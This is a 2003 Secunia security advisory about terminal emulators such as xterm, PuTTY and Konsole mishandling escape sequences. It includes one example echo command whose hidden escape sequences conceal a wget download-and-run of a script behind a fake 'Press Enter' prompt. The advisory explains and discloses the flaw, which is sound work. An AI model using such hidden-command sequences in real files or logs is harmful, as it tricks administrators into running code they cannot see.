Secunia CSI 5.0
Overview
Advisories
Research
Forums
Create Profile
Our Commitment
Database
Search
Advisories by Product
Advisories by Vendor
Terminology
Report Vulnerability
Insecure Library Loading

Secunia Advisory SA8146

Terminal Emulators fail to handle escape sequences
Secunia Advisory SA8146
DOWNLOAD CSI


DOWNLOAD PSI
Release Date 2003-02-25
Last Update 2004-05-10
   
Popularity 23,656 views
Comments 0 comments

Criticality level Moderately criticalModerately critical
Impact System access
Where From remote
Authentication level Available in Customer Area
   
Report reliability Available in Customer Area
Solution Status Vendor Patch
   
Systems affected Available in Customer Area
Approve distribution Available in Customer Area
Remediation status Secunia CSI, Secunia PSI
Automated scanning Secunia CSI, Secunia PSI
   
Software:
Apache 1.3.x
Apache 2.0.x
aterm 0.4.x
Eterm 0.9.x
GNOME terminal 2.x
hanterm-xf 2.x
Konsole 3.x
PuTTY 0.x
rxvt 2.7.x
SecureCRT 3.x

Secunia CVSS Score Available in Customer Area
CVE Reference(s) CVE-2003-0020 CVSS available in Customer Area
CVE-2003-0021 CVSS available in Customer Area
CVE-2003-0022 CVSS available in Customer Area
CVE-2003-0023 CVSS available in Customer Area
CVE-2003-0024 CVSS available in Customer Area
CVE-2003-0063 CVSS available in Customer Area
CVE-2003-0064 CVSS available in Customer Area
CVE-2003-0066 CVSS available in Customer Area
CVE-2003-0067 CVSS available in Customer Area
CVE-2003-0068 CVSS available in Customer Area
CVE-2003-0069 CVSS available in Customer Area
CVE-2003-0070 CVSS available in Customer Area
CVE-2003-0071 CVSS available in Customer Area
CVE-2003-0078 CVSS available in Customer Area
CVE-2003-0079 CVSS available in Customer Area
CVE-2003-0083 CVSS available in Customer Area
  

Description

Different terminal emulators have been found vulnerable to an issue allowing malicious people to manipulate actions taken by the system administrator and other users.

The problem is that escape sequences like "\e2]2;" aren't handled correctly. This allows plain text files to manipulate the text shown in the terminal emulator, which could be exploited to show a "harmless" text messages that requires the user to respond by clicking enter. This will then execute commands hidden by the "harmless" text.

Example:
echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

This will ask the user to press enter, while concealing the commands in the background, which could download and execute malicious code.

The vulnerability could be used by local users to trick root or other local users into reading a malicious plain text file using commands like type, more, and tail.

However, remote users may also be able to inject this into log files. It has been reported that it is possible to inject escape sequences into Apache access and error log files. Other daemons may also write unfiltered text to log files.

See the original advisory from Digital Defense for more examples.

Versions confirmed vulnerable:
xterm xf86 4.2.0 (patch 165)
aterm 0.42
rxvt 2.7.8
Eterm 0.9.1
konsole 3.1.0 rc5
putty 0.53
SecureCRT 3.4.6
gnome-terminal 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf 2.0


Solution
Use a different terminal emulator, until your favorite terminal emulator has been updated.
Further details available in Customer Area

Provided and/or discovered by
H D Moore, Digital Defense

Changelog
Further details available in Customer Area

Original Advisory
http://www.digitaldefense.net/labs/papers/Termulation.txt

Deep Links
Links available in Customer Area


Do you have additional information related to this advisory?

Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this information to vuln@secunia.com

Subject: Terminal Emulators fail to handle escape sequences
 
No posts yet

-

You must be logged in to post a comment.




 Products Solutions Customers Partner Resources Company
 
 Corporate
Vulnerability Intelligence Manager (VIM)
Corporate Software Inspector (CSI)
Consumer
Personal Software Inspector (PSI)
Online Software Inspector (OSI)
 Industry
Compliance
Technology
Integration
 Customers
Testimonials
 VARS
MSSP
Technology Partners
References
 Factsheets
Reports & Papers
Webinars
Events
 About us
Careers
Memberships
Newsroom


 
© 2002-2012 Secunia ApS - Rued Langgaards Vej 8, 4th floor, DK-2300 Copenhagen, Denmark - +45 7020 5144
Terms & Conditions and Copyright - Privacy - Report Vulnerability